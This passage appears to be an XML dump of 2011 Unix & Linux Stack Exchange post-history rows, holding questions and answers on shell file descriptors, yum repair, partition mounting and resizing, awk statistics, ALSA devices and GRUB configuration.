  <row Id="34290" PostHistoryTypeId="5" PostId="13724" RevisionGUID="27e652a0-5fe2-47e5-b2f1-e66b9da1c1d3" CreationDate="2011-05-24T23:24:00.577" UserId="885" Comment="formatting" Text="I am having a very hard time understanding how does one use file descriptors in shell scripts.&#xD;&#xA;&#xD;&#xA;I know the basics such as &#xD;&#xA;&#xD;&#xA;    exec 5 &gt; /tmp/foo&#xD;&#xA;&#xD;&#xA;So fd 5 is attached to foo for writing.&#xD;&#xA;&#xD;&#xA;    exec 6 &lt; /tmp/bar&#xD;&#xA;&#xD;&#xA;… for reading.&#xD;&#xA;&#xD;&#xA;    exec 5&gt;&amp;-&#xD;&#xA;&#xD;&#xA;… close fd.&#xD;&#xA;&#xD;&#xA;Now what does this do?&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    exec 5 &gt; /tmp/foo &#xD;&#xA;    exec 6 &lt; /tmp/bar &#xD;&#xA;    &#xD;&#xA;    cat &lt;&amp;6 | while read a&#xD;&#xA;    do&#xD;&#xA;         echo $a &gt;&amp;5&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As i understand `&amp;5` closes the fd, so how is the output still being re-directed successfully after each call?&#xD;&#xA;&#xD;&#xA;This is a copy pasta from : [Here][1]&#xD;&#xA;&#xD;&#xA;It claims using this over a simple `echo $a &gt; file` would make it much quicker, I however fail to understand. I would appreciate any links to decent tutorial. I google powers seem to be failing me.&#xD;&#xA;&#xD;&#xA;  [1]: http://blogmag.net/blog/read/48/File_descriptors_in_shell" />
  <row Id="34291" PostHistoryTypeId="6" PostId="13724" RevisionGUID="27e652a0-5fe2-47e5-b2f1-e66b9da1c1d3" CreationDate="2011-05-24T23:24:00.577" UserId="885" Comment="formatting" Text="ébashàéshellöscriptàéioöredirectionàéfileödescriptorsà" />
  <row Id="34292" PostHistoryTypeId="2" PostId="13726" RevisionGUID="ff350cf3-7c47-4b0a-93bf-a3b1eaf6272b" CreationDate="2011-05-24T23:39:14.993" UserId="885" Text="First, note that the syntax for closing is `5&gt;&amp;-` or `6&lt;&amp;-`, depending on whether the file descriptor is being read for writing or for reading. There seems to be a typo or formatting glitch in that blog post.&#xD;&#xA;&#xD;&#xA;Here's the commented script.&#xD;&#xA;&#xD;&#xA;    exec 5&gt;/tmp/foo       # open /tmp/foo for writing, on fd 5&#xD;&#xA;    exec 6&lt;/tmp/bar       # open /tmp/bar for reading, on fd 6&#xD;&#xA;    cat &lt;&amp;6 |             # call cat, with its standard input connected to&#xD;&#xA;                          # what is currently fd 6, i.e. /tmp/bar&#xD;&#xA;    while read a; do      # &#xD;&#xA;      echo $a &gt;&amp;5         # write to fd 5, i.e. /tmp/foo&#xD;&#xA;    done                  # &#xD;&#xA;&#xD;&#xA;There's no closing here. Because all the inputs and outputs are going to the same place in this simple example, the use of extra file descriptors is not necessary. You could write&#xD;&#xA;&#xD;&#xA;    cat &lt;/tmp/bar |&#xD;&#xA;    while read a; do&#xD;&#xA;      echo $a&#xD;&#xA;    done &gt;/tmp/foo&#xD;&#xA;&#xD;&#xA;Using explicit file descriptors becomes useful when you want to write to multiple files in turn. For example consider a script that outputs data to a data output file and logging data to a log file and possibly error messages as well. That means three output channels: one for data, one for logs and one for errors. Since there are only two standard descriptors for output, a third is needed. You can call `exec` to open the output files:&#xD;&#xA;&#xD;&#xA;    exec &gt;data-file&#xD;&#xA;    exec 3&gt;log-file&#xD;&#xA;    echo &quot;first line of data&quot;&#xD;&#xA;    echo &quot;this is a log line&quot; &gt;&amp;3&#xD;&#xA;    …&#xD;&#xA;    if something_bad_happens; then echo error message &gt;&amp;2; fi&#xD;&#xA;    exec &amp;&gt;-  # close the data output file&#xD;&#xA;    echo &quot;output file closed&quot; &gt;&amp;3&#xD;&#xA;&#xD;&#xA;The remark about efficiency comes in when you have a redirection in a loop, like this (assume the file is empty to begin with):&#xD;&#xA;&#xD;&#xA;    while …; do echo $a &gt;&gt;/tmp/bar; done&#xD;&#xA;&#xD;&#xA;At each iteration, the program opens `/tmp/bar`, seeks to the end of the file, appends some data and closes the file. It is more efficient to open the file once and for all:&#xD;&#xA;&#xD;&#xA;    while …; do echo $a; done &gt;/tmp/bar&#xD;&#xA;&#xD;&#xA;When there are multiple redirections happening at different times, calling `exec` to perform redirections rather than wrapping a block in a redirection becomes useful.&#xD;&#xA;&#xD;&#xA;    exec &gt;/tmp/bar&#xD;&#xA;    while …; do echo $a; done&#xD;&#xA;&#xD;&#xA;You'll find several other [examples of redirection on this site](http://unix.stackexchange.com/questions/tagged/io-redirection+shell).&#xD;&#xA;" />
  <row Id="34293" PostHistoryTypeId="25" PostId="13724" RevisionGUID="a00d5b40-00ac-43d9-9c18-9ad605159aa3" CreationDate="2011-05-25T00:12:39.000" Comment="http://twitter.com/#!/StackUnix/status/73179631737520128" />
  <row Id="34294" PostHistoryTypeId="2" PostId="13727" RevisionGUID="bb4437ae-b8cd-438e-a4bb-a7cdd8d74bb7" CreationDate="2011-05-25T00:38:10.183" UserId="6297" Text="I am trying to reinstall yum in `CentOS`. Because make some mistake by removing python.&#xD;&#xA;&#xD;&#xA;    so I got error as follows&#xD;&#xA;    There was a problem importing one of the Python modules&#xD;&#xA;    required to run yum. The error leading to this problem was:&#xD;&#xA;    &#xD;&#xA;       No module named rpm&#xD;&#xA;    &#xD;&#xA;    Please install a package which provides this module, or&#xD;&#xA;    verify that the module is installed correctly.&#xD;&#xA;    &#xD;&#xA;    It's possible that the above module doesn't match the&#xD;&#xA;    current version of Python, which is:&#xD;&#xA;    2.4.3 (#1, Nov 11 2010, 13:34:43) &#xD;&#xA;    [GCC 4.1.2 20080704 (Red Hat 4.1.2-48)]&#xD;&#xA;    &#xD;&#xA;    If you cannot solve this problem yourself, please go to &#xD;&#xA;    the yum faq at:&#xD;&#xA;      http://wiki.linux.duke.edu/YumFaq&#xD;&#xA;&#xD;&#xA;And than follow some tutorial from http://www.electrictoolbox.com/install-yum-with-rpm-on-centos/&#xD;&#xA;But I got an error while trying to install python libs&#xD;&#xA;&#xD;&#xA;    error: Failed dependencies:&#xD;&#xA;    	python &lt; 2.4.3-32.el5 conflicts with python-libs-2.4.3-43.el5.i386&#xD;&#xA;&#xD;&#xA;please help me to solve this problem" />
  <row Id="34295" PostHistoryTypeId="1" PostId="13727" RevisionGUID="bb4437ae-b8cd-438e-a4bb-a7cdd8d74bb7" CreationDate="2011-05-25T00:38:10.183" UserId="6297" Text="Python library conflict with lower version" />
  <row Id="34296" PostHistoryTypeId="3" PostId="13727" RevisionGUID="bb4437ae-b8cd-438e-a4bb-a7cdd8d74bb7" CreationDate="2011-05-25T00:38:10.183" UserId="6297" Text="écentosàépythonàérpmàédependenciesà" />
  <row Id="34297" PostHistoryTypeId="5" PostId="13727" RevisionGUID="b1a69c20-aaa5-4971-8a87-6f6cf3a2d272" CreationDate="2011-05-25T00:44:09.760" UserId="6297" Comment="deleted 17 characters in body" Text="I am trying to reinstall yum in `CentOS`. Because make some mistake by removing python.&#xD;&#xA;&#xD;&#xA;    so I got error as follows&#xD;&#xA;    There was a problem importing one of the Python modules&#xD;&#xA;    required to run yum. The error leading to this problem was:&#xD;&#xA;    &#xD;&#xA;       No module named rpm&#xD;&#xA;    &#xD;&#xA;    Please install a package which provides this module, or&#xD;&#xA;    verify that the module is installed correctly.&#xD;&#xA;    &#xD;&#xA;    It's possible that the above module doesn't match the&#xD;&#xA;    current version of Python, which is:&#xD;&#xA;    2.4.3 (#1, Nov 11 2010, 13:34:43) &#xD;&#xA;    [GCC 4.1.2 20080704 (Red Hat 4.1.2-48)]&#xD;&#xA;    &#xD;&#xA;    If you cannot solve this problem yourself, please go to &#xD;&#xA;    the yum faq at:&#xD;&#xA;      http://wiki.linux.duke.edu/YumFaq&#xD;&#xA;&#xD;&#xA;And than follow some tutorial from http://www.electrictoolbox.com/install-yum-with-rpm-on-centos/&#xD;&#xA;But I got an error while trying to install python libs&#xD;&#xA;&#xD;&#xA;    error: Failed dependencies:&#xD;&#xA;    	python &lt; 2.4.3-32.el5 conflicts with python-libs-2.4.3-43.el5.i386&#xD;&#xA;&#xD;&#xA;How can I fix this?" />
  <row Id="34298" PostHistoryTypeId="2" PostId="13728" RevisionGUID="5315e607-29ac-44c4-85d4-e5f6de9a9a42" CreationDate="2011-05-25T02:01:39.380" UserId="6761" Text="Normally you would `Alt-F2` to run gnome-session-properties, and select &quot;Automatically remember running applications when logging out&quot; under the Options tab.&#xD;&#xA;&#xD;&#xA;However, it is broken at the moment. There is a bug filed:&#xD;&#xA;&#xD;&#xA;https://bugzilla.gnome.org/show_bug.cgi?id=647359&#xD;&#xA;" />
  <row Id="34299" PostHistoryTypeId="5" PostId="8800" RevisionGUID="c85f2e50-9714-469c-a47a-3ffdfbe93b04" CreationDate="2011-05-25T02:17:05.707" UserId="2511" Comment="added 88 characters in body" Text="So, this appears to be a [really new][1] graphics card. You'll need both an up-to-date X driver and a really recent kernel — in fact, you need the not-yet-released (as of early March 2011) 2.6.38 kernel. (See [this article for more on the upcoming kernel release][2].)&#xD;&#xA;&#xD;&#xA;The good news is that the pre-release 2.6.38 kernel is already in the tree for Fedora 15, and the Fedora 15 Alpha release is scheduled for &lt;strike&gt;_tomorrow_&lt;/strike&gt; today (March 8th, 2011). Get the release from http://torrent.fedoraproject.org/.&#xD;&#xA;&#xD;&#xA;I can't promise that that'll make the card work, but the signs look positive. I'm not sure if the needed driver code is in the F15 X.org drivers yet, but the quickest way to find out is to try it.&#xD;&#xA;&#xD;&#xA;You can even get the [Live Desktop CD][3] option, which will let you test if it works without even reinstalling.&#xD;&#xA;&#xD;&#xA;It's possible (likely even) that the required bits will make it into Fedora 14 in a few months. So just waiting is another option.&#xD;&#xA;&#xD;&#xA;(Honestly, I think _either_ of those will be a better option than the proprietary binary driver. I've had no end of trouble from that. It's faster at 3D, so if top 3D performance is your main need, it might be worth it, but for general use, eh.)&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;Update: So, Fedora 15 (final release) is out today. I'm curious — did it work?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fireballtech.com/tag/linux-driver-radeon-6450/&#xD;&#xA;  [2]: http://www.h-online.com/open/features/Kernel-Log-Coming-in-2-6-38-Part-1-Graphics-1176900.html&#xD;&#xA;  [3]: http://torrent.fedoraproject.org/torrents/Fedora-15-Alpha-x86_64-Live-Desktop.torrent" />
  <row Id="34300" PostHistoryTypeId="25" PostId="13711" RevisionGUID="0b2da16c-8562-4512-b9db-4d4a4a1e8592" CreationDate="2011-05-25T03:12:39.730" Comment="http://twitter.com/#!/StackUnix/status/73224933261590528" />
  <row Id="34301" PostHistoryTypeId="2" PostId="13729" RevisionGUID="f4fb1aeb-eb25-4cd4-b2fa-d990373763b3" CreationDate="2011-05-25T03:21:35.193" UserId="7742" Text="I am using vmware with fedora as the guest and sadly vmware tools fail to compile the kernel modules and the Xorg drivers, probably because of the versions that come with fedora 15 (I've made an update of fedora to have all the latest software).&#xD;&#xA;&#xD;&#xA;So I guess we'll have to wait for an update from vmware. &#xD;&#xA;&#xD;&#xA;(I really hope someone has a better response)" />
  <row Id="34303" PostHistoryTypeId="2" PostId="13731" RevisionGUID="2adf22cd-733a-47b8-bd39-9f4310865b60" CreationDate="2011-05-25T04:42:41.753" UserId="2343" Text="I have a list of numbers in a file, one per line.  How can I get the minimum, maximum, mean, and average values?  I want to use the results in a bash script.  &#xD;&#xA;&#xD;&#xA;Although my immediate situation is for integers, a solution for floating-point numbers would be useful down the line, but a simple integer method is fine...  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34304" PostHistoryTypeId="1" PostId="13731" RevisionGUID="2adf22cd-733a-47b8-bd39-9f4310865b60" CreationDate="2011-05-25T04:42:41.753" UserId="2343" Text="How to get the min, max, mean, and average of a list of numbers?" />
  <row Id="34305" PostHistoryTypeId="3" PostId="13731" RevisionGUID="2adf22cd-733a-47b8-bd39-9f4310865b60" CreationDate="2011-05-25T04:42:41.753" UserId="2343" Text="ébashàéawkàéarithmeticàébcà" />
  <row Id="34306" PostHistoryTypeId="2" PostId="13732" RevisionGUID="39c1bcbc-e907-4be1-b9fb-9bdaa74666a5" CreationDate="2011-05-25T04:59:12.960" UserId="7138" Text="Recently I have been exploring the enchanted /dev folder. I want to write some random data to an audio device in order to generate some noise.&#xD;&#xA;&#xD;&#xA;I am using ALSA.&#xD;&#xA;&#xD;&#xA;So I instruct cat to pipe some random data to the playback file in the /dev folder...&#xD;&#xA;&#xD;&#xA;     cat file-of-random-data &gt; /dev/snd/pcmC0D0p&#xD;&#xA;then I recieve what seems to be an error from cat&#xD;&#xA;&#xD;&#xA;     cat: write error: File descriptor in bad state&#xD;&#xA;&#xD;&#xA;How can I fix this so I can hear some delicious static play from my sound card?" />
  <row Id="34307" PostHistoryTypeId="1" PostId="13732" RevisionGUID="39c1bcbc-e907-4be1-b9fb-9bdaa74666a5" CreationDate="2011-05-25T04:59:12.960" UserId="7138" Text="Generating random noise for fun in /dev/snd/" />
  <row Id="34308" PostHistoryTypeId="3" PostId="13732" RevisionGUID="39c1bcbc-e907-4be1-b9fb-9bdaa74666a5" CreationDate="2011-05-25T04:59:12.960" UserId="7138" Text="éaudioàéalsaà" />
  <row Id="34309" PostHistoryTypeId="2" PostId="13733" RevisionGUID="30941bf4-017e-4b92-b43b-592fe1c15dd9" CreationDate="2011-05-25T05:20:16.550" UserId="7746" Text="Hello&#xD;&#xA;&#xD;&#xA;I am running kubuntu 11.04. I installed it in a dual-boot scenario on a single drive, with Windows XP installed first. The XP installation is fubar so I now would like to use the space in kubuntu.&#xD;&#xA;&#xD;&#xA;I already tried formatting the old partition and using it but I got the following error in the file manager:&#xD;&#xA;&#xD;&#xA;    An error occurred while accessing 'space', the system responded: org.freedesktop.UDisks.Error.Inhibited: Daemon is inhibited&#xD;&#xA;&#xD;&#xA;I am assuming this error is linked to the fact that the partition doesn't have a mount point, but I may well be wrong. I'd just like to have the filesystem set up so that a folder of my specification is using that drive exclusively (e.g. /home/user/files). From what I understand about mount points, I should be able to do that. I am hoping my changing of this drive won't have anything to do with booting or be system-critical. Is this possible? My drive layout looks like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    /dev/sda1    ext3    90.76 GiB    this is where the xp installation was located&#xD;&#xA;    /dev/sda2    ext3    19.53 GiB    lunix&#xD;&#xA;    /dev/sda3    swap    1.49 GiB&#xD;&#xA;    unallocated           2.49 MiB&#xD;&#xA;&#xD;&#xA;Any help in this would be greatly appreciated, as I am running pretty low on drive space!&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="34310" PostHistoryTypeId="1" PostId="13733" RevisionGUID="30941bf4-017e-4b92-b43b-592fe1c15dd9" CreationDate="2011-05-25T05:20:16.550" UserId="7746" Text="Adding an unused partition to a linux filesystem" />
  <row Id="34311" PostHistoryTypeId="3" PostId="13733" RevisionGUID="30941bf4-017e-4b92-b43b-592fe1c15dd9" CreationDate="2011-05-25T05:20:16.550" UserId="7746" Text="éubuntuàéfilesystemsàépartitionàédualöbootà" />
  <row Id="34312" PostHistoryTypeId="2" PostId="13734" RevisionGUID="f2160fc9-9243-4cb8-a8f7-2f4fe37e251d" CreationDate="2011-05-25T06:04:48.443" UserId="250" Text="Just mount them on the folder you want, that won't affect booting or anything dangerous.&#xD;&#xA;&#xD;&#xA;First make sure your destination folder (&quot;mount point&quot;) exists. You may have to create the folder `/path/to/mount/point`.&#xD;&#xA;&#xD;&#xA;Then mount the drive there using the `mount` command in a terminal ([as root][1]):&#xD;&#xA;&#xD;&#xA;    mount /dev/sda1 /path/to/mount/point&#xD;&#xA;&#xD;&#xA;You may have to change permissions on the folder before you can use it as a normal user:&#xD;&#xA;&#xD;&#xA;    chown -R your_user_name /path/to/mount/point&#xD;&#xA;&#xD;&#xA;When you are satisfied with the setup, edit `/etc/fstab` to make the system mount the partition automatically. Add the following line:&#xD;&#xA;&#xD;&#xA;    /dev/sda1    /path/to/mount/point    ext3    defaults,noatime    0    0&#xD;&#xA;&#xD;&#xA;Refer to [`man mount`][2] for more information and options.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/q/3063/250&#xD;&#xA;  [2]: http://linux.die.net/man/8/mount" />
  <row Id="34313" PostHistoryTypeId="2" PostId="13735" RevisionGUID="824a37d1-3d72-42c1-92bd-13938b28ffb2" CreationDate="2011-05-25T06:10:27.970" UserId="6167" Text="Assuming your Linux partition is directly in front of the Windows XP partition, you can just resize it to encompass both partitions and then run resize2fs on it to have it grow to the larger size of the partition.  It's hard to tell if this is the case without seeing the output of `fdisk -l /dev/sda`.  The numbers associated with sda (i.e. sda1) do not necessarily imply the physical order of the partitions, but usually do.&#xD;&#xA;&#xD;&#xA;More likely, it appears the case is that the Windows XP partition is first on the disk.  In this case, it is a little trickier as you will need to copy the data to the first partition.  You will want to format the destination partition with whatever options you like before attempting to copy anything.  If both partitions are Ext2/3/4, I'd recommend using dump/restore as the best option to ensure everything is copied correctly.  You can also try using rsync with the `-aAHX` options.  I recommend against trying to just use cp.  You should copy the data from single user mode with the source partition mounted read-only.  Some bootloaders like what comes with Ubuntu call it recovery mode.  The mount command will tell you if the filesystem is read-only with a `ro` flag on the line for the filesystem.  If it's not, you can try using `mount -o ro,remount /` to remount as read-only.  Assuming `/dev/sda2` is your source filesystem mounted read-only on path `/` and `/dev/sda1` is the destination partition, the way to use dump and restore would be as follows:&#xD;&#xA;&#xD;&#xA;    mkfs -t ext3 /dev/sda1&#xD;&#xA;    mount /dev/sda1 /mnt&#xD;&#xA;    cd /mnt&#xD;&#xA;    dump -0af - /dev/sda2 | restore -rf -&#xD;&#xA;&#xD;&#xA;Once you are done, you can try switching to it with chroot and reinstalling GRUB.&#xD;&#xA;&#xD;&#xA;    mount -t bind /dev /mnt/dev&#xD;&#xA;    mount -t bind /proc /mnt/proc&#xD;&#xA;    mount -t bind /sys /mnt/sys&#xD;&#xA;    chroot /mnt /bin/sh&#xD;&#xA;    /usr/sbin/grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;Once GRUB is using the new partition, you can reboot, verify you are really using the new partition, and then remove the old root partition.  Then just expand the new root partition and run resize2fs against it:&#xD;&#xA;&#xD;&#xA;    resize2fs /dev/sda1&#xD;&#xA;&#xD;&#xA;Viola! You should have a root partition using the full space now." />
  <row Id="34314" PostHistoryTypeId="25" PostId="13733" RevisionGUID="193e854e-5666-4605-86d6-924baf02796d" CreationDate="2011-05-25T06:12:40.313" Comment="http://twitter.com/#!/StackUnix/status/73270235041505281" />
  <row Id="34315" PostHistoryTypeId="2" PostId="13736" RevisionGUID="a93b64d6-bdf0-4acd-b23c-68021645d1ed" CreationDate="2011-05-25T06:13:05.377" UserId="6921" Text="To assign hotkeys without limitations like '12 user defined hotkeys' try [xbindkeys][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Xbindkeys" />
  <row Id="34316" PostHistoryTypeId="4" PostId="13731" RevisionGUID="73193f82-091c-412a-8194-81534d2770a5" CreationDate="2011-05-25T06:53:52.617" UserId="2343" Comment="edited title" Text="Is there a way to get the min, max, mean, and average of a list of numbers in a single command?" />
  <row Id="34317" PostHistoryTypeId="5" PostId="13731" RevisionGUID="1002111d-85c3-4792-a8a3-95b026ffb922" CreationDate="2011-05-25T07:24:39.553" UserId="2343" Comment="added 6 characters in body; edited title; deleted 1 characters in body" Text="I have a list of numbers in a file, one per line.  How can I get the minimum, maximum, *median* and *average* values?  I want to use the results in a bash script.  &#xD;&#xA;&#xD;&#xA;Although my immediate situation is for integers, a solution for floating-point numbers would be useful down the line, but a simple integer method is fine...  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34318" PostHistoryTypeId="4" PostId="13731" RevisionGUID="1002111d-85c3-4792-a8a3-95b026ffb922" CreationDate="2011-05-25T07:24:39.553" UserId="2343" Comment="added 6 characters in body; edited title; deleted 1 characters in body" Text="Is there a way to get the min, max, median, and average of a list of numbers in a single command?" />
  <row Id="34319" PostHistoryTypeId="2" PostId="13737" RevisionGUID="905fb470-30b0-4899-8581-aee3c10e39ee" CreationDate="2011-05-25T07:30:03.907" UserId="671" Text="Hi All,&#xD;&#xA;&#xD;&#xA;We have a server at a client site running AIX 5.3, which we just up the RAM to 32GB, from initially 16GB (if I'm not mistaken).&#xD;&#xA;&#xD;&#xA;This server is our Application server running J2EE applications on top of Oracle Internet Application Server. Recently we encountered one of the batch jobs hitting out of memory error.&#xD;&#xA;&#xD;&#xA;From NMON I see that on average, there's 5GB of free memory available. %MAXPERM is set to '15' and %MINPERM is '5'. lru_file_repage is '0'. %comp is around '70' and %numperm is '15'.&#xD;&#xA;&#xD;&#xA;I would like to ask&#xD;&#xA;a) after adding real memory to the server, is there any additional changes we need to do to the VMO?&#xD;&#xA;b) is the %MAXPERM too low?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="34320" PostHistoryTypeId="1" PostId="13737" RevisionGUID="905fb470-30b0-4899-8581-aee3c10e39ee" CreationDate="2011-05-25T07:30:03.907" UserId="671" Text="VMO Changes After Adding New RAM To AIX?" />
  <row Id="34321" PostHistoryTypeId="3" PostId="13737" RevisionGUID="905fb470-30b0-4899-8581-aee3c10e39ee" CreationDate="2011-05-25T07:30:03.907" UserId="671" Text="émemoryàéjavaàéaixà" />
  <row Id="34322" PostHistoryTypeId="5" PostId="13735" RevisionGUID="877fd5d6-a288-44d5-9598-a529ec9bd4b4" CreationDate="2011-05-25T07:36:05.850" UserId="6167" Comment="fixed a possibly offensive remark" Text="Assuming your Linux partition is directly in front of the Windows XP partition, you can just resize it to encompass both partitions and then run resize2fs on it to have it grow to the larger size of the partition.  It's hard to tell if this is the case without seeing the output of `fdisk -l /dev/sda`.  The numbers associated with sda (i.e. sda1) do not necessarily imply the physical order of the partitions, but usually do.&#xD;&#xA;&#xD;&#xA;More likely, it appears the case is that the Windows XP partition is first on the disk.  In this case, it is a little trickier as you will need to copy the data to the first partition.  You will want to format the destination partition with whatever options you like before attempting to copy anything.  If both partitions are Ext2/3/4, I'd recommend using dump/restore as the best option to ensure everything is copied correctly.  You can also try using rsync with the `-aAHX` options.  I recommend against trying to just use cp.  You should copy the data from single user mode with the source partition mounted read-only.  Some bootloaders like what comes with Ubuntu call it recovery mode.  The mount command will tell you if the filesystem is read-only with a `ro` flag on the line for the filesystem.  If it's not, you can try using `mount -o ro,remount /` to remount as read-only.  Assuming `/dev/sda2` is your source filesystem mounted read-only on path `/` and `/dev/sda1` is the destination partition, the way to use dump and restore would be as follows:&#xD;&#xA;&#xD;&#xA;    mkfs -t ext3 /dev/sda1&#xD;&#xA;    mount /dev/sda1 /mnt&#xD;&#xA;    cd /mnt&#xD;&#xA;    dump -0af - /dev/sda2 | restore -rf -&#xD;&#xA;&#xD;&#xA;Once you are done, you can try switching to it with chroot and reinstalling GRUB.&#xD;&#xA;&#xD;&#xA;    mount -t bind /dev /mnt/dev&#xD;&#xA;    mount -t bind /proc /mnt/proc&#xD;&#xA;    mount -t bind /sys /mnt/sys&#xD;&#xA;    chroot /mnt /bin/sh&#xD;&#xA;    /usr/sbin/grub-install /dev/sda&#xD;&#xA;&#xD;&#xA;Once GRUB is using the new partition, you can reboot, verify you are really using the new partition, and then remove the old root partition.  Then just expand the new root partition and run resize2fs against it:&#xD;&#xA;&#xD;&#xA;    resize2fs /dev/sda1&#xD;&#xA;&#xD;&#xA;Voilà! You should have a root partition using the full space now." />
  <row Id="34323" PostHistoryTypeId="5" PostId="13733" RevisionGUID="5bdd8cc2-5552-456a-8e0e-dc13f42a62f6" CreationDate="2011-05-25T07:57:31.283" UserId="7746" Comment="added 6 characters in body" Text="Hello&#xD;&#xA;&#xD;&#xA;I am running kubuntu 11.04. I installed it in a dual-boot scenario on a single drive, with Windows XP installed first. The XP installation is fubar so I now would like to use the space in kubuntu.&#xD;&#xA;&#xD;&#xA;I formatted the old partition in gparted and upon trying to access it in a file manager I got the following error:&#xD;&#xA;&#xD;&#xA;    An error occurred while accessing 'space', the system responded: org.freedesktop.UDisks.Error.Inhibited: Daemon is inhibited&#xD;&#xA;&#xD;&#xA;I am assuming this error is linked to the fact that the partition doesn't have a mount point, but I may well be wrong. I'd just like to have the filesystem set up so that a folder of my specification is using that drive exclusively (e.g. /home/user/files). From what I understand about mount points, I should be able to do that. I am hoping my changing of this drive won't have anything to do with booting or be system-critical. Is this possible? My drive layout looks like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    /dev/sda1    ext3    90.76 GiB    this is where the xp installation was located&#xD;&#xA;    /dev/sda2    ext3    19.53 GiB    lunix&#xD;&#xA;    /dev/sda3    swap    1.49 GiB&#xD;&#xA;    unallocated           2.49 MiB&#xD;&#xA;&#xD;&#xA;Any help in this would be greatly appreciated, as I am running pretty low on drive space!&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="34324" PostHistoryTypeId="2" PostId="13738" RevisionGUID="61da976a-c34c-4bb8-9020-2c878dca125b" CreationDate="2011-05-25T08:26:48.120" UserId="3886" Text="Min, max and average are pretty easy to get with awk:&#xD;&#xA;&#xD;&#xA;    % echo -e '6\n2\n4\n3\n1' | awk 'NR == 1 { max=$1; min=$1; sum=0 }&#xD;&#xA;       { if ($1&gt;max) max=$1; if ($1&lt;min) min=$1; sum+=$1;}&#xD;&#xA;       END {printf &quot;Min: %d\tMax: %d\tAverage: %f\n&quot;, min, max, sum/NR}'&#xD;&#xA;    Min: 1  Max: 6  Average: 3,200000&#xD;&#xA;&#xD;&#xA;Calculating median is a bit more tricky, since you need to sort numbers and store them all in memory for a while or read them twice (first time to count them, second - to get median value). Here is example which stores all numbers in memory:&#xD;&#xA;&#xD;&#xA;    % echo -e '6\n2\n4\n3\n1' | sort -n | awk '{arr[NR]=$1}&#xD;&#xA;       END { if (NR%2==1) print arr[(NR+1)/2]; else print (arr[NR/2]+arr[NR/2+1])/2}' &#xD;&#xA;    3&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34326" PostHistoryTypeId="25" PostId="13732" RevisionGUID="0c4ca296-293e-4a9a-9372-51e47e98bca4" CreationDate="2011-05-25T09:12:40.647" Comment="http://twitter.com/#!/StackUnix/status/73315534283878400" />
  <row Id="34327" PostHistoryTypeId="2" PostId="13740" RevisionGUID="89de68fd-103b-450e-9755-c1fd41d44f27" CreationDate="2011-05-25T09:47:54.447" UserId="7750" Text="try /dev/audio or one of the other devices under /dev/snd. not all of them are audio data sinks, you might have caught a mixer, microphone or something" />
  <row Id="34328" PostHistoryTypeId="2" PostId="13741" RevisionGUID="3fdd9554-ffa0-4330-8bff-05cab42eeb70" CreationDate="2011-05-25T11:20:10.333" UserId="3082" Text="Using just RPM, remove the old libraries and reinstall all the Python 2.4 interpreter and libraries, including the Python rpm module. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="34329" PostHistoryTypeId="2" PostId="13742" RevisionGUID="bd9825e9-782d-401f-a1a8-e310fd0d71c2" CreationDate="2011-05-25T11:33:58.107" UserId="1835" Text="    cat *.sql | wc -c&#xD;&#xA;&#xD;&#xA;Answer is in bytes." />
  <row Id="34330" PostHistoryTypeId="2" PostId="13743" RevisionGUID="502a1d63-0a11-4b62-b62a-605ad22bbc94" CreationDate="2011-05-25T11:35:11.803" UserId="1835" Text="Is a sound daemon (e.g. `pulseaudio`) holding a lock on the device?  I think you can find out if anything else has a handle on it via `lsof`." />
  <row Id="34332" PostHistoryTypeId="2" PostId="13744" RevisionGUID="ffd9663f-09b4-4eb7-9395-f0fa41d0167b" CreationDate="2011-05-25T11:56:14.040" UserId="2644" Text="If you don't have access to the machine or can't use the commands given in the previous answers, you can also find this out using the [Debian package web-based search engine][1] (the second form, &quot;*Search the contents of packages*&quot;).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.debian.org/distrib/packages#search_contents" />
  <row Id="34333" PostHistoryTypeId="2" PostId="13745" RevisionGUID="efabd1d6-5024-4003-a4da-16356caa5abf" CreationDate="2011-05-25T11:59:46.443" UserId="7752" Text="Had the same problem, and that solution also did not work me.&#xD;&#xA;&#xD;&#xA;Here's what worked at last:&#xD;&#xA;&#xD;&#xA;    echo '(hd0) /dev/xvdb' &gt; /boot/grub/device.map&#xD;&#xA;    mknod /dev/xvdb b 202 0&#xD;&#xA;&#xD;&#xA;(It didn't work with `xvda` for me.) Then edit `/usr/sbin/grub-update` and find&#xD;&#xA;&#xD;&#xA;	find_device ()&#xD;&#xA;	{&#xD;&#xA;	        if ! test -e ${device_map} ; then&#xD;&#xA;	                echo quit | grub --batch --no-floppy --device-map=${device_map} &gt; /dev/null&#xD;&#xA;	        fi&#xD;&#xA;	        grub-probe --device-map=${device_map} -t device $1 2&gt; /dev/null&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;and replace with&#xD;&#xA;&#xD;&#xA;	find_device ()&#xD;&#xA;	{&#xD;&#xA;	        if ! test -e ${device_map} ; then&#xD;&#xA;	                echo quit | grub --batch --no-floppy --device-map=${device_map} &gt; /dev/null&#xD;&#xA;	        fi&#xD;&#xA;	        # grub-probe --device-map=${device_map} -t device $1 2&gt; /dev/null&#xD;&#xA;	        echo /dev/xvdb&#xD;&#xA;	}&#xD;&#xA;&#xD;&#xA;Run&#xD;&#xA;&#xD;&#xA;    apt-get upgrade&#xD;&#xA;&#xD;&#xA;Edit `/boot/grub/menu.lst` with&#xD;&#xA;&#xD;&#xA;    sed -i &quot;s/xvdb/xvda1/g&quot; /boot/grub/menu.lst&#xD;&#xA;&#xD;&#xA;Reboot.&#xD;&#xA;&#xD;&#xA;Make a note 